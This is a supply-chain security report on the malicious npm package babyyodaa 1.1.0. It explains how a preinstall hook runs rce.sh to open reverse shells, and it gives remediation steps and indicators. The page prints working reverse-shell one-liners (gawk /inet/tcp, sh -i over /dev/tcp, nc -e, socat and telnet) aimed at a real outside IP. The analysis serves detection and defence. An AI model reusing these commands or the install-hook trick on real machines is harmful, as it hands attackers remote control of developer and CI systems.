Skip to content
Open-Source Registry

npm / babyyodaa

babyyodaa 1.1.0

bitbison: flagged, behavior flagged, dependencies clean, posture not checked, pipeline clean, 1 of 1 jobs captured RiskmediumVulnsnone
processes
510
operations
8.2K
packages
1
compiler runs
0
connections
1
build time
15m 04s
job time
15m 04s
capture
141 KB
records
15K
bytes / record
9.5

Hello World NPM example

published 2021-09-27 · home page hellohello-worldworld View on npm
Reviewed by Bitbison: maliciousThe preinstall script runs the bundled rce.sh, which connects to 202.164.16.13:443 and executes whatever commands arrive there as the installing user, trying awk, sh, nc, perl, php, python, socat and telnet in turn.

Artifact

file · retained · retained · graph v2
2

Checks

15 of 16 clear Build script activity
Build behavior✓✓✓✓✓▲✓✓✓✓
Supply chain✓✓✓✓✓
Pipeline✓

Detections

1
  • Install script kept `awk BEGIN {s = "/inet/tcp/0/202.164.16.13/443"; while(42) { do{ printf "shell>" |& s; s |& getline c…` running until the install was stopped
    gawk
    medium

Detection

mediumwitnessed

Install script kept `awk BEGIN {s = "/inet/tcp/0/202.164.16.13/443"; while(42) { do{ printf "shell>" |& s; s |& getline c…` running until the install was stopped

Unexpected build script activity

Subject
gawk
Jobs
install
Rule
buildscript

Evidence

  1. Left a process runningcause

    `awk BEGIN {s = "/inet/tcp/0/202.164.16.13/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }} /dev/null` was still running when Runner.Worker stopped it

    by awk BEGIN {s = "/inet/tcp/0/202.164.16.13/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c);…

  2. Written by dependency build codesupport

    script: sh -c chmod +x rce.sh; ./rce.sh

Remediation

A package's code left a process of its own running after the code that started it was done: what it does from then on runs outside the install or the program that loaded it. Find the process on every machine that ran this install and stop it, review what it reached, and replace the package.

Network

1 peers
  • registry.npmjs.org:8080 the package manager · node (consumer) · 9 files ecosystem

Dependencies

1
Dependencies1Build behaviour
consumer1.0.0

Versions1

Raw data

capture
141 KB
records
14,806
bytes per record
9.5

Loading a sample of the capture

Want to see more? E-mail us at hello@bitbison.io about your use case.

1 of 1 jobs captured: install failure · Generated 2026-11-05 · run 3a20bbfb-8763-4a33-9c18-3f9774805368

analysis 0.1.0 · 2026-11-04 · bfee307 · graph v2

babyyodaa 1.1.0 opens a reverse shell to 202.164.16.13:443 when it is installed

maliciousCovers 1.1.0Reviewed by BitbisonUpdated 2026-11-06

The preinstall script runs the bundled rce.sh, which connects to 202.164.16.13:443 and executes whatever commands arrive there as the installing user, trying awk, sh, nc, perl, php, python, socat and telnet in turn.

On September 27, 2021, babyyodaa 1.1.0 was published to npm as a "Hello World NPM example". It is the package's only version. Its preinstall script runs a bundled shell script, rce.sh, which opens a reverse shell to 202.164.16.13 on port 443. Whoever listens at that address gets a shell on the machine as the user running npm install. OSV lists the package as MAL-2026-18605. npm still serves it.

What the package does

Installing babyyodaa 1.1.0 (tarball sha256 8321ef8b36b40d9a5b5ba649e9ad4ec3bcbe18a9a484075c5e8e5e872ec0db0b) does this:

  • Before anything else is installed, npm runs the package's preinstall script, sh -c chmod +x rce.sh; ./rce.sh.
  • rce.sh starts awk 'BEGIN {s = "/inet/tcp/0/202.164.16.13/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null. That command opens a TCP connection to 202.164.16.13:443 through GNU awk's /inet/tcp special file and sends the prompt shell>. It executes each line it receives as a shell command and sends the output back.
  • The awk process never exits on its own, so npm install does not finish while it is running.

What the code does

The tarball holds seven files. Two of them do the work: package.json and rce.sh (sha256 80f9df548588a0575884342ea2f83278f2f51f728234efefc60fc65e027ff4ab, 13 lines).

  • package.json:35 sets "preinstall": "chmod +x rce.sh; ./rce.sh". npm runs it on every install, including installs where babyyodaa is pulled in as a dependency.
  • rce.sh:1–13 is a list of reverse shells, one per line, all pointing at 202.164.16.13:443. The file has no shebang, so sh runs it, one line after another. When one shell ends, or the tool it needs is missing, the next line tries another way in:
    • Line 1 is the awk loop described above. It reads a command, runs it as a coprocess (c |& getline) and writes the output to the socket. If the operator sends exit, it closes the connection, and while(42) opens a new one.
    • Line 2 runs sh -i with its input and output on bash's /dev/tcp/202.164.16.13/443, and line 3 does the same through file descriptor 196.
    • Line 4 runs nc -e /bin/sh 202.164.16.13 443. Line 5 removes /tmp/f, makes a named pipe there, and pipes /bin/sh -i through nc to the same address.
    • Line 6 (Perl), lines 7–8 (PHP) and lines 9–10 (Python, with pty.spawn("/bin/sh")) each connect a socket to 202.164.16.13:443 and hand it a shell. Line 9 sets its port variable to the IP address, so it cannot connect; line 10 can.
    • Lines 11–12 use socat. Line 12 gives the operator bash -li on a pseudo-terminal.
    • Line 13 makes a named pipe a in the package's directory and runs /bin/sh through telnet 202.164.16.13 443.
    • Every one of these is plain TCP on port 443, not TLS, so commands and their output cross the network unencrypted.
  • The rest of the package is an unrelated hello-world example. lib/index.js:1–10 returns "Hello World NPM", and bin.js:1–5 prints it under the command name sheeesh (package.json:3–5). The readme, the author field and init.sh:1–7 belong to another project, hello-world-npm, and its GitHub author. package.json:14–20 still holds the npm dist block of a package called sheeesh 1.1.0, which suggests the files were copied from a package prepared under that name (npm has no package called sheeesh). Nothing in the package mentions a shell or a remote host.

The package was uploaded by the npm account bcanalyst. Whatever the publisher meant it for, rce.sh does more than report that it was installed. It gives the operator of 202.164.16.13 an interactive shell with the installing user's rights. On a developer machine or a CI runner, that is everything the user can read or run.

MAL-2026-18605 was published in the same OSV batch as gugodapis and @signals-notebook/annotation-editor. Nothing in babyyodaa names their code, hosts or accounts, and it works differently: an inline reverse shell rather than a downloaded payload or a request-bin probe. A link between the three cannot be shown from this package.

Timeline (UTC)

WhenWhat
09/27/21 10:52:52babyyodaa 1.1.0 is published to npm, the package's only version
11/02/26 09:44:21OSV publishes MAL-2026-18605, credited to Oluwatosin Amokeodo

If you installed it

Treat the machine as compromised: anyone at 202.164.16.13 could have run commands as the installing user.

  1. Stop any process connected to 202.164.16.13: the awk above, sh -i, nc, socat, perl, php, python or telnet.
  2. Remove node_modules/babyyodaa, /tmp/f and the named pipe a in the package's directory.
  3. Block 202.164.16.13 and search firewall and proxy logs for connections to it on port 443.
  4. Rotate every credential the user or the CI runner could read.
  5. Check for anything the operator could have left behind: crontabs, shell profiles, ~/.ssh/authorized_keys, systemd user units.

Indicators

hosts
202.164.16.13
requests
TCP 202.164.16.13:443, prompt `shell>` sent on connect
files
rce.sh (sha256 80f9df548588a0575884342ea2f83278f2f51f728234efefc60fc65e027ff4ab)/tmp/f (named pipe)node_modules/babyyodaa/a (named pipe)
ports
443/tcp (plain, not TLS)
processes
sh -c chmod +x rce.sh; ./rce.shawk 'BEGIN {s = "/inet/tcp/0/202.164.16.13/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/nullsh -i >& /dev/tcp/202.164.16.13/443 0>&1nc -e /bin/sh 202.164.16.13 443socat TCP:202.164.16.13:443 EXEC:shtelnet 202.164.16.13 443
scripts
preinstall: chmod +x rce.sh; ./rce.sh

Examined

1.1.0
sha256:8321ef8b36b40d9a5b5ba649e9ad4ec3bcbe18a9a484075c5e8e5e872ec0db0b

Links